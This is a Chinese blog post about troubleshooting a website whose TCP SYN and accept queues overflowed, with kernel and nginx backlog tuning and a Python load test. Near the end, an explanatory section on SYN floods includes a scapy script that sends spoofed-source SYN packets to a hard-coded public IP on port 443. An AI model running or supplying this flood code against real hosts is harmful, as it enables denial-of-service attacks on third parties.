0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

TCP半連接隊列和全連接隊列的可能和出現(xiàn)問題和解決方案

馬哥Linux運維 ? 來源:未知 ? 作者:易水寒 ? 2018-05-19 10:52 ? 次閱讀

問題描述

監(jiān)控系統(tǒng)發(fā)現(xiàn)電商網(wǎng)站主頁及其它頁面間歇性的無法訪問;

查看安全防護和網(wǎng)絡(luò)流量、應(yīng)用系統(tǒng)負載均正常;

系統(tǒng)重啟后,能夠暫時解決,但持續(xù)一段時間后間歇性問題再次出現(xiàn)。

此時問題已影響到整個網(wǎng)站的正常業(yè)務(wù),我那個心驚呀,最主要是報警系統(tǒng)沒有任何報警,服務(wù)運行一切正常,瞬時背上的汗已經(jīng)出來了。但還是要靜心,來仔細尋找蛛絲馬跡,來一步一步找問題。

問題初步判斷

檢查dev 和 網(wǎng)卡設(shè)備層,是否有error和drop ,分析在硬件和系統(tǒng)層是否異常 ----- 命令 cat /proc/net/dev 和 ifconfig

觀察socket overflow 和 socket droped(如果應(yīng)用處理全連接隊列(accept queue)過慢 socket overflow,影響半連接隊列(syn queue)溢出socket dropped)-----命令 netstat -s |grep -i listen

TCP半連接隊列和全連接隊列的可能和出現(xiàn)問題和解決方案

發(fā)現(xiàn)SYN socket overflow 和 socket droped 急增加

檢查sysctl內(nèi)核參數(shù):backlog ,somaxconn,file-max 和 應(yīng)用程序的backlog ;

ss -lnt查詢,SEND-Q會取上述參數(shù)的最小值

發(fā)現(xiàn)當時隊列已經(jīng)超過網(wǎng)站80端口和443端口默認值

檢查 selinux 和 NetworkManager 是否啟用 ,建議禁用;

檢查timestap ,reuse 啟用,內(nèi)核recycle是否啟用,如果過NAT,禁用recycle;

抓包判斷請求進來后應(yīng)用處理的情況,是否收到SYN未響應(yīng)情況。

深入分析問題

正常TCP建連接三次握手過程:

第一步:客戶端 發(fā)送 syn 到 服務(wù)端發(fā)起握手;

第二步:服務(wù)端 收到 syn后回復(fù)syn+ack給 客戶端;

第三步:客戶端 收到syn+ack后,回復(fù) 服務(wù)端一個ack表示收到了 服務(wù)端的syn+ack 。

從描述的情況來看,TCP建連接的時候全連接隊列(accept隊列)滿了,尤其是描述中癥狀為了證明是這個原因。反復(fù)看了幾次之后發(fā)現(xiàn)這個overflowed 一直在增加,那么可以明確的是server上全連接隊列一定溢出了。

接著查看溢出后,OS怎么處理:

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow0

tcp_abort_on_overflow 為0表示如果三次握手第三步的時候全連接隊列滿了那么server扔掉client 發(fā)過來的ack(在server端認為連接還沒建立起來)

為了證明客戶端應(yīng)用代碼的異常跟全連接隊列滿有關(guān)系,我先把tcp_abort_on_overflow修改成 1,1表示第三步的時候如果全連接隊列滿了,server發(fā)送一個reset包給client,表示廢掉這個握手過程和這個連接(本來在server端這個連接就還沒建立起來)。

接著測試然后在web服務(wù)日志中異常中可以看到很多connection reset by peer的錯誤,到此證明客戶端錯誤是這個原因?qū)е碌摹?/p>

查看sysctl內(nèi)核參數(shù):backlog ,somaxconn,file-max 和 nginx的backlog配置參數(shù),ss -ln取最小值,發(fā)現(xiàn)為128,此時resv-q已經(jīng)在129 ,請求被丟棄。將上述參數(shù)修改,并進行優(yōu)化:

linux內(nèi)核參進行優(yōu)化:net.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 16384net.core.somaxconn = 16384

nginx 配置參數(shù)優(yōu)化:backlog=32768;

利用python 多線程壓測,并未發(fā)現(xiàn)新的問題:

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex: for each_a_tag in soup.find_all('a'): try: ex.submit(requests.get,each_a_tag['href']) except Exception as err: print('return error msg:'+str(err))

理解TCP握手過程中建連接的流程和隊列

TCP半連接隊列和全連接隊列的可能和出現(xiàn)問題和解決方案

如上圖所示,這里有兩個隊列:syns queue(半連接隊列);accept queue(全連接隊列)

三次握手中,在第一步server收到client的syn后,把相關(guān)信息放到半連接隊列中,同時回復(fù)syn+ack給client(第二步);

第三步的時候server收到client的ack,如果這時全連接隊列沒滿,那么從半連接隊列拿出相關(guān)信息放入到全連接隊列中,否則按tcp_abort_on_overflow指示的執(zhí)行。

這時如果全連接隊列滿了并且tcp_abort_on_overflow是0的話,server過一段時間再次發(fā)送syn+ack給client(也就是重新走握手的第二步),如果client超時等待比較短,就很容易異常了。

sYN Flood洪水攻擊

當前最流行的DoS(拒絕服務(wù)攻擊)與DDoS(分布式拒絕服務(wù)攻擊)的方式之一,這是一種利用TCP協(xié)議缺陷,導(dǎo)致被攻擊服務(wù)器保持大量SYN_RECV狀態(tài)的“半連接”,并且會重試默認5次回應(yīng)第二個握手包,塞滿TCP等待連接隊列,資源耗盡(CPU滿負荷或內(nèi)存不足),讓正常的業(yè)務(wù)請求連接不進來。

from concurrent.futures import ThreadPoolExecutorfrom scapy.all import *def synFlood(tgt,dPort): srcList = ['11.1.1.2','22.1.1.102','33.1.1.2', '125.130.5.199'] for sPort in range(1024, 65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags='S') packet = ipLayer/tcpLayer send(packet)tgt = '139.196.251.198'print(tgt)dPort = 443with ThreadPoolExecutor(10000000) as ex: try: ex.submit(synFlood(tgt,dPort)) except Exception as err: print('return error msg:' + str(err))

所以大家要對TCP半連接隊列和全連接隊列的問題很容易被忽視,但是又很關(guān)鍵,特別是對于一些短連接應(yīng)用更容易爆發(fā)。

出現(xiàn)問題后,從網(wǎng)絡(luò)流量、cpu、線程、負載來看都比較正常,在用戶端來看rt比較高,但是從服務(wù)器端的日志看rt又很短。如何避免在出現(xiàn)問題時手忙腳亂,建立起應(yīng)急機機制,后續(xù)有機會寫一下應(yīng)急方面的文章。

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • 監(jiān)控系統(tǒng)

    關(guān)注

    21

    文章

    3769

    瀏覽量

    172369
  • TCP
    TCP
    +關(guān)注

    關(guān)注

    8

    文章

    1324

    瀏覽量

    78759
  • 安全防護
    +關(guān)注

    關(guān)注

    0

    文章

    59

    瀏覽量

    13469

原文標題:記一次驚心的網(wǎng)站 TCP 隊列問題排查經(jīng)歷

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    FIFO隊列原理簡述

    FIFO是隊列機制中最簡單的,每個接口上只有一個FIFO隊列,表面上看FIFO隊列并沒有提供什么QoS保證,甚至很多人認為FIFO嚴格意義上不算做一種隊列技術(shù),實則不然,F(xiàn)IFO是其它
    發(fā)表于 07-10 09:22 ?1570次閱讀

    Linux TCP隊列相關(guān)參數(shù)的總結(jié)

    在Linux上做網(wǎng)絡(luò)應(yīng)用的性能優(yōu)化時,一般都會對TCP相關(guān)的內(nèi)核參數(shù)進行調(diào)節(jié),特別是和緩沖、隊列有關(guān)的參數(shù)。很多文章會告訴你需要修改哪些參數(shù),但我們經(jīng)常是知其然而不知其所以然,每次照抄過來后,可能很快就忘記或混淆了它們的含義。
    發(fā)表于 10-30 10:12 ?671次閱讀
    Linux <b class='flag-5'>TCP</b><b class='flag-5'>隊列</b>相關(guān)參數(shù)的總結(jié)

    TCP隊列引用問題

    labview中如何將隊列中的TCP網(wǎng)絡(luò)連接讀取出來,我知道是要用元素出隊列這個函數(shù),但是不知道在輸出的元素端口后面接什么控件可以將隊列中的
    發(fā)表于 04-27 16:02

    關(guān)于隊列的問題

    畫著叉叉的線應(yīng)該連接什么控件才能將隊列里的TCP網(wǎng)絡(luò)連接輸出呢?
    發(fā)表于 04-27 19:51

    LabVIEW2018 TCP Server 利用隊列連接多個客戶端

    TCP Server 端利用隊列連接多個客戶端
    發(fā)表于 06-14 22:51

    Agilent TCP隊列管理

    TCP隊列管理
    發(fā)表于 10-31 09:08

    labview隊列 出現(xiàn)隊列或者出隊列問題

    最近在labview操作中出現(xiàn)了一個隊列操作的問題,一入隊列就出錯,憋了好幾天,今天終于解決了。首先,介紹一下我的程序。如圖1,一個while循環(huán)加一個條件選擇框,用main queue和Q3這兩個
    發(fā)表于 03-26 17:29

    RTOS消息隊列的多種用途

      消息隊列可以以多種不同的方式使用。事實上,您可以編寫可能只使用消息隊列的相當復(fù)雜的應(yīng)用程序。僅使用消息隊列可以減少代碼的大?。凑加每臻g),因為可以模擬許多其他服務(wù)(信號量、時間延
    的頭像 發(fā)表于 06-29 14:57 ?2373次閱讀
    RTOS消息<b class='flag-5'>隊列</b>的多種用途

    沒有accept,能建立TCP連接嗎?

    服務(wù)端代碼,對socket執(zhí)行bind方法可以綁定監(jiān)聽端口,然后執(zhí)行l(wèi)isten方法后,就會進入監(jiān)聽(LISTEN)狀態(tài)。內(nèi)核會為每一個處于LISTEN狀態(tài)的socket 分配兩個隊列,分別叫連接
    的頭像 發(fā)表于 08-05 10:37 ?774次閱讀

    SystemVerilog中的隊列

    隊列是大小可變的有序集合,隊列中元素必須是同一個類型的。隊列支持對其所有元素的訪問以及在隊列的開始或結(jié)束處插入和刪除。
    的頭像 發(fā)表于 10-31 10:09 ?3723次閱讀

    什么是消息隊列?消息隊列中間件重要嗎?

    應(yīng)用解耦:消息隊列減少了服務(wù)之間的耦合性,不同的服務(wù)可以通過消息隊列進行通信,而不用關(guān)心彼此的實現(xiàn)細節(jié)。
    的頭像 發(fā)表于 11-07 14:55 ?1276次閱讀

    嵌入式環(huán)形隊列和消息隊列的實現(xiàn)

    嵌入式環(huán)形隊列和消息隊列是實現(xiàn)數(shù)據(jù)緩存和通信的常見數(shù)據(jù)結(jié)構(gòu),廣泛應(yīng)用于嵌入式系統(tǒng)中的通信協(xié)議和領(lǐng)域。
    的頭像 發(fā)表于 04-14 11:52 ?1369次閱讀

    RTOS消息隊列的應(yīng)用

    基于RTOS的應(yīng)用中,通常使用隊列機制實現(xiàn)任務(wù)間的數(shù)據(jù)交互,一個應(yīng)用程序可以有任意數(shù)量的消息隊列,每個消息隊列都有自己的用途。
    發(fā)表于 05-29 10:49 ?553次閱讀
    RTOS消息<b class='flag-5'>隊列</b>的應(yīng)用

    FreeRTOS消息隊列介紹

    隊列是為了任務(wù)與任務(wù)、任務(wù)與中斷之間的通信而準備的,可以在任務(wù)與任務(wù)、任務(wù)與中斷之間傳遞消息,隊列中可以存儲有限的、大小固定的數(shù)據(jù)項目。任務(wù)與任務(wù)、任務(wù)與中斷之間要交流的數(shù)據(jù)保存在隊列中,叫做
    的頭像 發(fā)表于 07-06 16:58 ?701次閱讀
    FreeRTOS消息<b class='flag-5'>隊列</b>介紹

    嵌入式環(huán)形隊列與消息隊列的實現(xiàn)原理

    嵌入式環(huán)形隊列,也稱為環(huán)形緩沖區(qū)或循環(huán)隊列,是一種先進先出(FIFO)的數(shù)據(jù)結(jié)構(gòu),用于在固定大小的存儲區(qū)域中高效地存儲和訪問數(shù)據(jù)。其主要特點包括固定大小的數(shù)組和兩個指針(頭指針和尾指針),分別指向隊列的起始位置和結(jié)束位置。
    的頭像 發(fā)表于 09-02 15:29 ?144次閱讀